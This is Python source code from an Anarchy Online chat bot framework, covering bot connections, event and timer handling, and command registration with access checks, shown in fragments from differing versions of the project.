WHERE event_type = ?)", ["timer"]) self.db.exec("DELETE FROM setting WHERE verified = 0") self.status = BotStatus.RUN def pre_start(self): self.access_service.register_access_level("superadmin", 10, self.check_superadmin) self.event_service.register_event_type(self.CONNECT_EVENT) self.event_service.register_event_type(self.PRIVATE_MSG_EVENT) def start(self): self.setting_service.register( "core.system", "symbol", "!", TextSettingType(["!", "#", "*", "@", "$", "+", "-"]), "Symbol for executing bot commands") self.setting_service.register( "core.system", "org_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in org channel") self.setting_service.register( "core.system", "private_message_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private messages") self.setting_service.register( "core.system", "private_channel_max_page_length", 7500, NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]), "Maximum size of blobs in private channel") self.setting_service.register( "core.system", "accept_commands_from_slave_bots", False, BooleanSettingType(), "Accept and respond to commands sent to slave bots (only applies if you have added slave bots in the config)" ) self.setting_service.register("core.colors", "header_color", "#FFFF00", ColorSettingType(), "Color for headers") self.setting_service.register("core.colors", "header2_color", "#FCA712", ColorSettingType(), "Color for sub-headers") self.setting_service.register("core.colors", "highlight_color", "#00BFFF", ColorSettingType(), "Color for highlight") self.setting_service.register("core.colors", "notice_color", "#FF8C00", ColorSettingType(), "Color for important notices") self.setting_service.register("core.colors", "neutral_color", "#E6E1A6", ColorSettingType(), "Color for neutral faction") self.setting_service.register("core.colors", "omni_color", "#FA8484", ColorSettingType(), "Color for omni faction") self.setting_service.register("core.colors", "clan_color", "#F79410", ColorSettingType(), "Color for clan faction") self.setting_service.register("core.colors", "unknown_color", "#FF0000", ColorSettingType(), "Color for unknown faction") self.setting_service.register("core.colors", "org_channel_color", "#89D2E8", ColorSettingType(), "Default org channel color") self.setting_service.register("core.colors", "private_channel_color", "#89D2E8", ColorSettingType(), "Default private channel color") self.setting_service.register("core.colors", "private_message_color", "#89D2E8", ColorSettingType(), "Default private message color") self.setting_service.register("core.colors", "blob_color", "#FFFFFF", ColorSettingType(), "Default blob content color") self.register_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message, priority=40) def check_superadmin(self, char_id): char_name = self.character_service.resolve_char_to_name(char_id) return char_name == self.superadmin def connect(self, config): for i, bot in enumerate(config.bots): if "id" in bot: _id = bot.id else: _id = "bot" + str(i) if i == 0: self.primary_conn_id = _id conn = self.create_conn(_id) conn.connect(config.server.host, config.server.port) # only create the mass_message_queue if there is at least 1 non-main bot if not bot.is_main and not self.mass_message_queue: self.mass_message_queue = FifoQueue() packet = conn.login(bot.username, bot.password, bot.character, is_main=bot.is_main) if not packet: self.status = BotStatus.ERROR return False else: self.incoming_queue.put((conn, packet)) self.create_conn_thread( conn, None if bot.is_main else self.mass_message_queue) return True def create_conn_thread(self, conn: Conn, mass_message_queue=None): def read_packets(): try: while self.status == BotStatus.RUN: packet = conn.read_packet(1) if packet: self.incoming_queue.put((conn, packet)) while mass_message_queue and not mass_message_queue.empty( ) and conn.packet_queue.is_empty(): packet = mass_message_queue.get_or_default(block=False) if packet: conn.add_packet_to_queue(packet) except (EOFError, OSError) as e: self.status = BotStatus.ERROR self.logger.error("", e) raise e dthread = threading.Thread(target=read_packets, daemon=True) dthread.start() def create_conn(self, _id): if _id in self.conns: raise Exception(f"A connection with id {_id} already exists") def failure_callback(): self.status = BotStatus.ERROR conn = Conn(_id, failure_callback) self.conns[_id] = conn return conn def disconnect(self): # wait for all threads to stop reading packets, then disconnect them all time.sleep(2) for _id, conn in self.get_conns(): conn.disconnect() def run(self): start = time.time() # wait for flood of packets from login to stop sending time_waited = 0 while time_waited < 2: if not self.iterate(1): time_waited += 1 self.logger.info("Login complete (%fs)" % (time.time() - start)) start = time.time() self.event_service.fire_event("connect", None) self.event_service.run_timer_events_at_startup() self.event_service.check_for_timer_events(int(start)) self.logger.info("Connect events finished (%fs)" % (time.time() - start)) time_waited = 0 while time_waited < 2: if not self.iterate(1): time_waited += 1 self.ready = True timestamp = int(time.time()) while self.status == BotStatus.RUN: try: timestamp = int(time.time()) self.check_for_timer_events(timestamp) self.iterate() except Exception as e: self.logger.error("", e) # run any pending jobs/events self.check_for_timer_events(timestamp + 1) return self.status def check_for_timer_events(self, timestamp): # timer events will execute no more often than once per second if self.last_timer_event < timestamp: self.last_timer_event = timestamp self.job_scheduler.check_for_scheduled_jobs(timestamp) self.event_service.check_for_timer_events(timestamp) def register_packet_handler(self, packet_id: int, handler, priority=50): """ Call during pre_start Args: packet_id: int handler: (conn, packet) -> void priority: int """ if len(inspect.signature(handler).parameters) != 2: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) handlers = self.packet_handlers.get(packet_id, []) handlers.append(DictObject({"priority": priority, "handler": handler})) self.packet_handlers[packet_id] = sorted(handlers, key=lambda x: x.priority) def remove_packet_handler(self, packet_id, handler): handlers = self.packet_handlers.get(packet_id, []) for h in handlers: if h.handler == handler: handlers.remove(h) def iterate(self, timeout=0.1): conn, packet = self.incoming_queue.get_or_default(block=True, timeout=timeout, default=(None, None)) if packet: if isinstance(packet, server_packets.SystemMessage): packet = self.system_message_ext_msg_handling(packet) self.logger.log_chat(conn, "SystemMessage", None, packet.extended_message.get_message()) elif isinstance(packet, server_packets.PublicChannelMessage): packet = self.public_channel_message_ext_msg_handling(packet) elif isinstance(packet, server_packets.BuddyAdded) and packet.char_id == 0: return for handler in self.packet_handlers.get(packet.id, []): handler.handler(conn, packet) return packet def public_channel_message_ext_msg_handling( self, packet: server_packets.PublicChannelMessage): msg = packet.message if msg.startswith("~&") and msg.endswith("~"): try: msg = msg[2:-1].encode("utf-8") category_id = self.mmdb_parser.read_base_85(msg[0:5]) instance_id = self.mmdb_parser.read_base_85(msg[5:10]) template = self.mmdb_parser.get_message_string( category_id, instance_id) params = self.mmdb_parser.parse_params(msg[10:]) packet.extended_message = ExtendedMessage( category_id, instance_id, template, params) except Exception as e: self.logger.error( "Error handling extended message for packet: " + str(packet), e) return packet def system_message_ext_msg_handling(self, packet: server_packets.SystemMessage): try: category_id = 20000 instance_id = packet.message_id template = self.mmdb_parser.get_message_string( category_id, instance_id) params = self.mmdb_parser.parse_params(packet.message_args) packet.extended_message = ExtendedMessage(category_id, instance_id, template, params) except Exception as e: self.logger.error( "Error handling extended message: " + str(packet), e) return packet def send_org_message(self, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if not conn.org_channel_id: self.logger.debug( f"Ignoring message to org channel for {conn.id} since the org_channel_id is unknown" ) else: color = self.setting_service.get( "org_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "org_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PublicChannelMessage( conn.org_channel_id, color + page, "") conn.add_packet_to_queue(packet) def send_private_message(self, char_id, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if char_id is None: raise Exception("Cannot send message, char_id is empty") else: color = self.setting_service.get( "private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_message_max_page_length").get_value()) for page in pages: self.logger.log_tell( conn, "To", self.character_service.get_char_name(char_id), page) packet = client_packets.PrivateMessage(char_id, color + page, "\0") conn.add_packet_to_queue(packet) def send_private_channel_message(self, msg, private_channel_id=None, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if private_channel_id is None: private_channel_id = conn.get_char_id() color = self.setting_service.get( "private_channel_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_channel_max_page_length").get_value()) for page in pages: packet = client_packets.PrivateChannelMessage( private_channel_id, color + page, "\0") conn.send_packet(packet) def send_mass_message(self, char_id, msg, add_color=True, conn=None): if not conn: conn = self.get_primary_conn() if not char_id: self.logger.warning("Could not send message to empty char_id") else: color = self.setting_service.get( "private_message_color").get_font_color() if add_color else "" pages = self.get_text_pages( msg, conn, self.setting_service.get( "private_message_max_page_length").get_value()) for page in pages: if self.mass_message_queue: packet = client_packets.PrivateMessage( char_id, color + page, "\0") self.mass_message_queue.put(packet) else: packet = client_packets.PrivateMessage( char_id, color + page, "spam") self.get_primary_conn().send_packet(packet) def send_message_to_other_org_channels(self, msg, from_conn: Conn): for _id, conn in self.get_conns( lambda x: x.is_main and x.org_id and x != from_conn): self.send_org_message(msg, conn=conn) def handle_private_message(self, conn: Conn, packet: server_packets.PrivateMessage): char_name = self.character_service.get_char_name(packet.char_id) self.logger.log_tell(conn, "From", char_name, packet.message) self.event_service.fire_event( self.PRIVATE_MSG_EVENT, DictObject({ "char_id": packet.char_id, "name": char_name, "message": packet.message, "conn": conn })) def get_text_pages(self, msg, conn, max_page_length): if isinstance(msg, ChatBlob): return self.text.paginate(msg, conn, max_page_length=max_page_length) else: return [self.text.format_message(msg, conn)] def is_ready(self): return self.ready def shutdown(self): self.status = BotStatus.SHUTDOWN def restart(self): self.status = BotStatus.RESTART def get_primary_conn_id(self): return self.primary_conn_id def get_primary_conn(self): return self.conns[self.get_primary_conn_id()] def get_conn_by_char_id(self, char_id): for _id, conn in self.get_conns(): if char_id == conn.get_char_id(): return conn return None def get_conn_by_org_id(self, org_id): for _id, conn in self.get_conns(): if conn.org_id == org_id: return conn return None # placeholder to keep track of things that need to be fixed/updated def get_temp_conn(self): return self.get_primary_conn() def get_conns(self, conn_filter=None): if conn_filter: return [(_id, conn) for _id, conn in self.conns.items() if conn_filter(conn)] else: return self.conns.items()
class EventService: def __init__(self): self.handlers = {} self.logger = Logger(__name__) self.event_types = [] self.db_cache = {} def inject(self, registry): self.db = registry.get_instance("db") self.util = registry.get_instance("util") def pre_start(self): self.register_event_type("timer") def start(self): # process decorators for _, inst in Registry.get_all_instances().items(): for name, method in get_attrs(inst).items(): if hasattr(method, "event"): attrs = getattr(method, "event") handler = getattr(inst, name) self.register(handler, attrs.event_type, attrs.description, inst.module_name, attrs.is_hidden, attrs.is_enabled) def register_event_type(self, event_type): """ Call during pre_start Args: event_type (str) """ event_type = event_type.lower() if event_type in self.event_types: self.logger.error( "Could not register event type '%s': event type already registered" % event_type) return self.logger.debug("Registering event type '%s'" % event_type) self.event_types.append(event_type) def is_event_type(self, event_base_type): return event_base_type in self.event_types def register(self, handler, event_type, description, module, is_hidden, is_enabled): """ Call during pre_start Args: handler: (event_type, event_data) -> void event_type: str description: str module: str is_hidden: bool is_enabled: bool """ if len(inspect.signature(handler).parameters) != 2: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) event_base_type, event_sub_type = self.get_event_type_parts(event_type) module = module.lower() handler_name = self.util.get_handler_name(handler) is_hidden = 1 if is_hidden else 0 is_enabled = 1 if is_enabled else 0 if event_base_type not in self.event_types: self.logger.error( "Could not register handler '%s' for event type '%s': event type does not exist" % (handler_name, event_type)) return if not description: self.logger.warning( "No description for event_type '%s' and handler '%s'" % (event_type, handler_name)) row = self.db.query_single( "SELECT 1 FROM event_config WHERE event_type = ? AND handler = ?", [event_base_type, handler_name]) if row is None: # add new event commands self.db.exec( "INSERT INTO event_config (event_type, event_sub_type, handler, description, module, enabled, verified, is_hidden) VALUES (?, ?, ?, ?, ?, ?, ?, ?)", [ event_base_type, event_sub_type, handler_name, description, module, is_enabled, 1, is_hidden ]) if event_base_type == "timer": self.db.exec( "INSERT INTO timer_event (event_type, event_sub_type, handler, next_run) VALUES (?, ?, ?, ?)", [ event_base_type, event_sub_type, handler_name, int(time.time()) ]) else: # mark command as verified self.db.exec( "UPDATE event_config SET verified = ?, module = ?, description = ?, event_sub_type = ?, is_hidden = ? WHERE event_type = ? AND handler = ?", [ 1, module, description, event_sub_type, is_hidden, event_base_type, handler_name ]) if event_base_type == "timer": self.db.exec( "UPDATE timer_event SET event_sub_type = ? WHERE event_type = ? AND handler = ?", [event_sub_type, event_base_type, handler_name]) # load command handler self.handlers[handler_name] = handler def fire_event(self, event_type, event_data=None): event_base_type, event_sub_type = self.get_event_type_parts(event_type) if event_base_type not in self.event_types: self.logger.error( "Could not fire event type '%s': event type does not exist" % event_type) return data = self.get_handlers(event_base_type, event_sub_type) for row in data: self.call_handler(row.handler, event_type, event_data) def call_handler(self, handler_method, event_type, event_data): handler = self.handlers.get(handler_method, None) if not handler: self.logger.error( "Could not find handler callback for event type '%s' and handler '%s'" % (event_type, handler_method)) return try: handler(event_type, event_data) except Exception as e: self.logger.error("error processing event '%s'" % event_type, e) def get_event_type_parts(self, event_type): parts = event_type.lower().split(":", 1) if len(parts) == 2: return parts[0], parts[1] else: return parts[0], "" def get_event_type_key(self, event_base_type, event_sub_type): return event_base_type + ":" + event_sub_type def check_for_timer_events(self, current_timestamp): data = self.db.query( "SELECT e.event_type, e.event_sub_type, e.handler, t.next_run FROM timer_event t " "JOIN event_config e ON t.event_type = e.event_type AND t.handler = e.handler " "WHERE t.next_run <= ? AND e.enabled = 1", [current_timestamp]) for row in data: self.execute_timed_event(row, current_timestamp) def execute_timed_event(self, row, current_timestamp): event_type_key = self.get_event_type_key(row.event_type, row.event_sub_type) # timer event run times should be consistent, so we base the next run time off the last run time, # instead of the current timestamp next_run = row.next_run + int(row.event_sub_type) # prevents timer events from getting too far behind, or having a large "catch-up" after # the bot has been offline for a time if next_run < current_timestamp: next_run = current_timestamp + int(row.event_sub_type) with self.db.transaction(): self.db.exec( "UPDATE timer_event SET next_run = ? WHERE event_type = ? AND handler = ?", [next_run, row.event_type, row.handler]) self.call_handler(row.handler, event_type_key, None) def update_event_status(self, event_base_type, event_sub_type, event_handler, enabled_status): # clear cache self.db_cache[event_base_type + ":" + event_sub_type] = None return self.db.exec( "UPDATE event_config SET enabled = ? WHERE event_type = ? AND event_sub_type = ? AND handler LIKE ?", [enabled_status, event_base_type, event_sub_type, event_handler]) def get_event_types(self): return self.event_types def get_handlers(self, event_base_type, event_sub_type): # check first in cache result = self.db_cache.get(event_base_type + ":" + event_sub_type, None) if result is not None: return result else: result = self.db.query( "SELECT handler FROM event_config WHERE event_type = ? AND event_sub_type = ? AND enabled = 1", [event_base_type, event_sub_type]) # store result in cache self.db_cache[event_base_type + ":" + event_sub_type] = result return result def run_timer_events_at_startup(self): t = int(time.time()) data = self.db.query( "SELECT e.event_type, e.event_sub_type, e.handler, t.next_run FROM timer_event t " "JOIN event_config e ON t.event_type = e.event_type AND t.handler = e.handler " "WHERE e.event_type = ? AND e.enabled = 1", ["timer"]) for row in data: handler = self.handlers[row.handler] attrs = getattr(handler, "event") if attrs.get("run_at_startup", False): self.execute_timed_event(row, t)
if config.database.type == "sqlite": db.connect_sqlite("./data/" + config.database.name) elif config.database.type == "mysql": db.connect_mysql(config.database.host, config.database.username, config.database.password, config.database.name) else: raise Exception("Unknown database type '%s'" % config.database.type) # run db upgrade scripts import upgrade # finish initializing bot and modules, and then connect bot = Registry.get_instance("bot") bot.init(config, Registry, paths, MMDBParser("text.mdb")) bot.connect(config.server.host, config.server.port) if not bot.login(config.username, config.password, config.character): bot.disconnect() time.sleep(5) exit(3) else: status = bot.run() bot.disconnect() exit(status.value) except KeyboardInterrupt: exit(0) except Exception as e: logger = Logger("bootstrap") logger.error("", e) exit(4)
class CommandService: PRIVATE_CHANNEL = "priv" ORG_CHANNEL = "org" PRIVATE_MESSAGE = "msg" def __init__(self): self.handlers = collections.defaultdict(list) self.logger = Logger(__name__) self.channels = {} self.ignore_regexes = [ re.compile(" is AFK \(Away from keyboard\) since ", re.IGNORECASE), re.compile("I am away from my keyboard right now", re.IGNORECASE), re.compile("Unknown command or access denied!", re.IGNORECASE), re.compile("I am responding", re.IGNORECASE), re.compile("I only listen", re.IGNORECASE), re.compile("Error!", re.IGNORECASE), re.compile("Unknown command input", re.IGNORECASE), re.compile("You have been auto invited", re.IGNORECASE), ] def inject(self, registry): self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.access_service: AccessService = registry.get_instance( "access_service") self.bot: Tyrbot = registry.get_instance("bot") self.character_service: CharacterService = registry.get_instance( "character_service") self.setting_service: SettingService = registry.get_instance( "setting_service") self.command_alias_service = registry.get_instance( "command_alias_service") self.usage_service = registry.get_instance("usage_service") self.public_channel_service = registry.get_instance( "public_channel_service") self.ban_service = registry.get_instance("ban_service") def pre_start(self): self.bot.add_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message) self.bot.add_packet_handler(server_packets.PrivateChannelMessage.id, self.handle_private_channel_message) self.bot.add_packet_handler(server_packets.PublicChannelMessage.id, self.handle_public_channel_message) self.register_command_channel("Private Message", self.PRIVATE_MESSAGE) self.register_command_channel("Org Channel", self.ORG_CHANNEL) self.register_command_channel("Private Channel", self.PRIVATE_CHANNEL) def start(self): # process decorators for _, inst in Registry.get_all_instances().items(): for name, method in get_attrs(inst).items(): if hasattr(method, "command"): cmd_name, params, access_level, description, help_file, sub_command, extended_description, check_access, aliases = getattr( method, "command") handler = getattr(inst, name) module = self.util.get_module_name(handler) help_text = self.get_help_file(module, help_file) self.register(handler, cmd_name, params, access_level, description, module, help_text, sub_command, extended_description, check_access) if len(inspect.signature( handler).parameters) != len(params) + 1: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__name__)) if aliases: for alias in aliases: self.command_alias_service.add_alias( alias, cmd_name) def register(self, handler, command, params, access_level, description, module, help_text=None, sub_command=None, extended_description=None, check_access=None): command = command.lower() if sub_command: sub_command = sub_command.lower() else: sub_command = "" access_level = access_level.lower() module = module.lower() command_key = self.get_command_key(command, sub_command) if help_text is None: help_text = self.generate_help(command, description, params, extended_description) if check_access is None: check_access = self.access_service.check_access if not self.access_service.get_access_level_by_label(access_level): self.logger.error( "Could not add command '%s': could not find access level '%s'" % (command, access_level)) return for channel, label in self.channels.items(): row = self.db.query_single( "SELECT access_level, module, enabled, verified " "FROM command_config " "WHERE command = ? AND sub_command = ? AND channel = ?", [command, sub_command, channel]) if row is None: # add new command commands self.db.exec( "INSERT INTO command_config " "(command, sub_command, access_level, channel, module, enabled, verified) " "VALUES (?, ?, ?, ?, ?, 1, 1)", [command, sub_command, access_level, channel, module]) elif row.verified: if row.module != module: self.logger.warning( "module different for different forms of command '%s' and sub_command '%s'" % (command, sub_command)) else: # mark command as verified self.db.exec( "UPDATE command_config SET verified = 1, module = ? " "WHERE command = ? AND sub_command = ? AND channel = ?", [module, command, sub_command, channel]) # save reference to command handler r = re.compile(self.get_regex_from_params(params), re.IGNORECASE | re.DOTALL) self.handlers[command_key].append({ "regex": r, "callback": handler, "help": help_text, "description": description, "params": params, "check_access": check_access }) def register_command_channel(self, label, value): if value in self.channels: self.logger.error( "Could not register command channel '%s': command channel already registered" % value) return self.logger.debug("Registering command channel '%s'" % value) self.channels[value] = label def is_command_channel(self, channel): return channel in self.channels def process_command(self, message: str, channel: str, char_id, reply): try: if self.ban_service.get_ban(char_id): # do nothing if character is banned self.logger.info( "ignored banned character %d for command '%s'" % (char_id, message)) return message = html.unescape(message) command_str, command_args = self.get_command_parts(message) # check for command alias command_alias = self.command_alias_service.check_for_alias( command_str) if command_alias: command_str, command_args = self.get_command_parts( command_alias + command_args) cmd_configs = self.get_command_configs(command_str, channel, 1) if cmd_configs: # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str cmd_config, matches, handler = self.get_matches( cmd_configs, command_args) if matches: if handler["check_access"](char_id, cmd_config.access_level): sender = SenderObj( char_id, self.character_service.resolve_char_to_name( char_id, "Unknown(%d)" % char_id)) response = handler["callback"]( CommandRequest(channel, sender, reply), *self.process_matches(matches, handler["params"])) if response is not None: reply(response) # record command usage self.usage_service.add_usage( command_str, handler["callback"].__qualname__, char_id, channel) else: self.access_denied_response(char_id, cmd_config, reply) else: # handlers were found, but no handler regex matched help_text = self.get_help_text(char_id, command_str, channel) if help_text: reply(self.format_help_text(command_str, help_text)) else: reply("Error! Invalid syntax.") else: reply("Error! Unknown command <highlight>%s<end>." % command_str) except Exception as e: self.logger.error("error processing command: %s" % message, e) reply("There was an error processing your request.") def access_denied_response(self, char_id, cmd_config, reply): reply("Error! Access denied.") def get_command_parts(self, message): parts = message.split(" ", 1) if len(parts) == 2: return parts[0].lower(), " " + parts[1] else: return parts[0].lower(), "" def get_command_configs(self, command, channel=None, enabled=1, sub_command=None): sql = "SELECT command, sub_command, access_level, enabled FROM command_config WHERE command = ?" params = [command] if channel: sql += " AND channel = ?" params.append(channel) if enabled: sql += " AND enabled = ?" params.append(enabled) if sub_command: sql += " AND sub_command = ?" params.append(sub_command) sql += " ORDER BY sub_command, channel" return self.db.query(sql, params) def get_matches(self, cmd_configs, command_args): for row in cmd_configs: command_key = self.get_command_key(row.command, row.sub_command) handlers = self.handlers[command_key] for handler in handlers: # add leading space to search string to normalize input for command params matches = handler["regex"].search(command_args) if matches: return row, matches, handler return None, None, None def process_matches(self, matches, params): groups = list(matches.groups()) processed = [] for param in params: processed.append(param.process_matches(groups)) return processed def get_help_text(self, char, command_str, channel): data = self.db.query( "SELECT command, sub_command, access_level FROM command_config " "WHERE command = ? AND channel = ? AND enabled = 1", [command_str, channel]) # filter out commands that character does not have access level for data = filter( lambda row: self.access_service.check_access( char, row.access_level), data) def read_help_text(row): command_key = self.get_command_key(row.command, row.sub_command) return filter( lambda x: x is not None, map(lambda handler: handler["help"], self.handlers[command_key])) content = "\n\n".join(flatmap(read_help_text, data)) return content if content else None def format_help_text(self, topic, help_text): return ChatBlob("Help (" + topic + ")", help_text) def get_help_file(self, module, help_file): if help_file: try: help_file = "./" + module.replace(".", "/") + "/" + help_file with open(help_file) as f: return f.read().strip() except FileNotFoundError as e: self.logger.error("Error reading help file", e) return None def get_command_key(self, command, sub_command): if sub_command: return command + ":" + sub_command else: return command def get_command_key_parts(self, command_str): parts = command_str.split(":", 1) if len(parts) == 2: return parts[0], parts[1] else: return parts[0], "" def get_regex_from_params(self, params): # params must be wrapped with line-beginning and line-ending anchors in order to match # when no params are specified (eg. "^$") return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$" def generate_help(self, command, description, params, extended_description=None): help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join( map(lambda x: x.get_name(), params)) if extended_description: help_text += "\n" + extended_description return help_text def get_handlers(self, command_key): return self.handlers.get(command_key, None) def handle_private_message(self, packet: server_packets.PrivateMessage): # since the command symbol is not required for private messages, # the command_str must have length of at least 1 in order to be valid, # otherwise it is ignored if len(packet.message) < 1: return for regex in self.ignore_regexes: if regex.search(packet.message): return if packet.message[:1] == self.setting_service.get( "symbol").get_value(): command_str = packet.message[1:] else: command_str = packet.message self.process_command( command_str, self.PRIVATE_MESSAGE, packet.char_id, lambda msg: self.bot.send_private_message(packet.char_id, msg)) def handle_private_channel_message( self, packet: server_packets.PrivateChannelMessage): # since the command symbol is required in the private channel, # the command_str must have length of at least 2 in order to be valid, # otherwise it is ignored if len(packet.message) < 2: return symbol = packet.message[:1] command_str = packet.message[1:] if symbol == self.setting_service.get("symbol").get_value( ) and packet.private_channel_id == self.bot.char_id: self.process_command( command_str, self.PRIVATE_CHANNEL, packet.char_id, lambda msg: self.bot.send_private_channel_message(msg)) def handle_public_channel_message( self, packet: server_packets.PublicChannelMessage): # since the command symbol is required in the org channel, # the command_str must have length of at least 2 in order to be valid, # otherwise it is ignored if len(packet.message) < 2: return symbol = packet.message[:1] command_str = packet.message[1:] if symbol == self.setting_service.get("symbol").get_value( ) and self.public_channel_service.is_org_channel_id(packet.channel_id): self.process_command(command_str, self.ORG_CHANNEL, packet.char_id, lambda msg: self.bot.send_org_message(msg))
class CommandService: PRIVATE_MESSAGE_CHANNEL = "msg" def __init__(self): self.handlers = collections.defaultdict(list) self.logger = Logger(__name__) self.channels = {} self.pre_processors = [] self.ignore_regexes = [ re.compile(r" is AFK \(Away from keyboard\) since ", re.IGNORECASE), re.compile(r"I am away from my keyboard right now", re.IGNORECASE), re.compile(r"Unknown command or access denied!", re.IGNORECASE), re.compile(r"I am responding", re.IGNORECASE), re.compile(r"I only listen", re.IGNORECASE), re.compile(r"Error!", re.IGNORECASE), re.compile(r"Unknown command input", re.IGNORECASE), re.compile(r"You have been auto invited", re.IGNORECASE), re.compile(r"^<font") ] def inject(self, registry): self.db = registry.get_instance("db") self.util = registry.get_instance("util") self.access_service: AccessService = registry.get_instance( "access_service") self.bot = registry.get_instance("bot") self.character_service: CharacterService = registry.get_instance( "character_service") self.event_service = registry.get_instance("event_service") self.setting_service: SettingService = registry.get_instance( "setting_service") self.command_alias_service = registry.get_instance( "command_alias_service") self.usage_service = registry.get_instance("usage_service") self.public_channel_service = registry.get_instance( "public_channel_service") self.ban_service = registry.get_instance("ban_service") def pre_start(self): self.bot.register_packet_handler(server_packets.PrivateMessage.id, self.handle_private_message) self.register_command_channel("Private Message", self.PRIVATE_MESSAGE_CHANNEL) def start(self): access_levels = {} # process decorators for _, inst in Registry.get_all_instances().items(): for name, method in get_attrs(inst).items(): if hasattr(method, "command"): cmd_name, params, access_level, description, help_file, sub_command, extended_description = getattr( method, "command") handler = getattr(inst, name) help_text = self.get_help_file(inst.module_name, help_file) command_key = self.get_command_key( cmd_name.lower(), sub_command.lower() if sub_command else "") al = access_levels.get(command_key, None) if al is not None and al != access_level.lower(): raise Exception( "Different access levels specified for forms of command '%s'" % command_key) access_levels[command_key] = access_level self.register(handler, cmd_name, params, access_level, description, inst.module_name, help_text, sub_command, extended_description) def register(self, handler, command, params, access_level, description, module, help_text=None, sub_command=None, extended_description=None, check_access=None): """ Call during pre_start Args: handler: (request, param1, param2, ...) -> str|ChatBlob|None command: str params: [CommandParam...] access_level: str description: str module: str help_text: str sub_command: str extended_description: str check_access: (char_id, access_level_label) -> bool """ if len(inspect.signature(handler).parameters) != len(params) + 1: raise Exception( "Incorrect number of arguments for handler '%s.%s()'" % (handler.__module__, handler.__qualname__)) command = command.lower() if sub_command: sub_command = sub_command.lower() else: sub_command = "" access_level = access_level.lower() module = module.lower() command_key = self.get_command_key(command, sub_command) if help_text is None: help_text = self.generate_help(command, description, params, extended_description) if check_access is None: check_access = self.access_service.check_access if not self.access_service.get_access_level_by_label(access_level): self.logger.error( "Could not add command '%s': could not find access level '%s'" % (command, access_level)) return for channel, label in self.channels.items(): row = self.db.query_single( "SELECT access_level, module, enabled, verified " "FROM command_config " "WHERE command = ? AND sub_command = ? AND channel = ?", [command, sub_command, channel]) if row is None: # add new command self.db.exec( "INSERT INTO command_config " "(command, sub_command, access_level, channel, module, enabled, verified) " "VALUES (?, ?, ?, ?, ?, 1, 1)", [command, sub_command, access_level, channel, module]) elif row.verified: if row.module != module: self.logger.warning( "module different for different forms of command '%s' and sub_command '%s'" % (command, sub_command)) else: # mark command as verified self.db.exec( "UPDATE command_config SET verified = 1, module = ? " "WHERE command = ? AND sub_command = ? AND channel = ?", [module, command, sub_command, channel]) # save reference to command handler r = re.compile(self.get_regex_from_params(params), re.IGNORECASE | re.DOTALL) self.handlers[command_key].append({ "regex": r, "callback": handler, "help": help_text, "description": description, "params": params, "check_access": check_access }) def register_command_pre_processor(self, pre_processor): """ Call during start Args: pre_processor: (context) -> bool """ self.pre_processors.append(pre_processor) def register_command_channel(self, label, value): """ Call during pre_start Args: label: str value: str """ if value in self.channels: self.logger.error( "Could not register command channel '%s': command channel already registered" % value) return self.logger.debug("Registering command channel '%s'" % value) self.channels[value] = label def is_command_channel(self, channel): return channel in self.channels def process_command(self, message: str, channel: str, char_id, reply, conn): try: context = DictObject({ "message": message, "char_id": char_id, "channel": channel, "reply": reply }) for pre_processor in self.pre_processors: if pre_processor(context) is False: return for regex in self.ignore_regexes: if regex.search(message): return # message = html.unescape(message) command_str, command_args = self.get_command_parts(message) # check for command alias command_alias_str = self.command_alias_service.get_alias_command_str( command_str, command_args) alias_depth_count = 0 while command_alias_str: alias_depth_count += 1 command_str, command_args = self.get_command_parts( command_alias_str) command_alias_str = self.command_alias_service.get_alias_command_str( command_str, command_args) if alias_depth_count > 20: raise Exception( "Command alias infinite recursion detected for command '%s'" % message) cmd_configs = self.get_command_configs(command_str, channel, 1) access_level = self.access_service.get_access_level(char_id) sender = SenderObj( char_id, self.character_service.resolve_char_to_name( char_id, "Unknown(%d)" % char_id), access_level) if cmd_configs: # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str cmd_config, matches, handler = self.get_matches( cmd_configs, command_args) if matches: if handler["check_access"](char_id, cmd_config.access_level): response = handler["callback"]( CommandRequest(conn, channel, sender, reply), *self.process_matches(matches, handler["params"])) if response is not None: reply(response) # record command usage self.usage_service.add_usage( command_str, self.util.get_handler_name(handler["callback"]), char_id, channel) else: self.access_denied_response(message, sender, cmd_config, reply) else: # handlers were found, but no handler regex matched data = self.db.query( "SELECT command, sub_command, access_level FROM command_config " "WHERE command = ? AND channel = ? AND enabled = 1", [command_str, channel]) help_text = self.format_help_text(data, char_id) if help_text: reply( self.format_help_text_blob(command_str, help_text)) else: # the command is known, but no help is returned, therefore character does not have access to command reply("Access denied.") else: self.handle_unknown_command(command_str, command_args, channel, sender, reply) except Exception as e: self.logger.error("error processing command: %s" % message, e) reply("There was an error processing your request.") def handle_unknown_command(self, command_str, command_args, channel, sender, reply): reply(f"Error! Unknown command <highlight>{command_str}</highlight>.") def access_denied_response(self, message, sender, cmd_config, reply): reply("Access denied.") def get_command_parts(self, message): parts = message.split(" ", 1) if len(parts) == 2: return parts[0].lower(), " " + parts[1] else: return parts[0].lower(), "" def get_command_configs(self, command, channel=None, enabled=1, sub_command=None): sql = "SELECT command, sub_command, access_level, channel, enabled FROM command_config WHERE command = ?" params = [command] if channel: sql += " AND channel = ?" params.append(channel) if enabled: sql += " AND enabled = ?" params.append(enabled) if sub_command: sql += " AND sub_command = ?" params.append(sub_command) sql += " ORDER BY sub_command, channel" 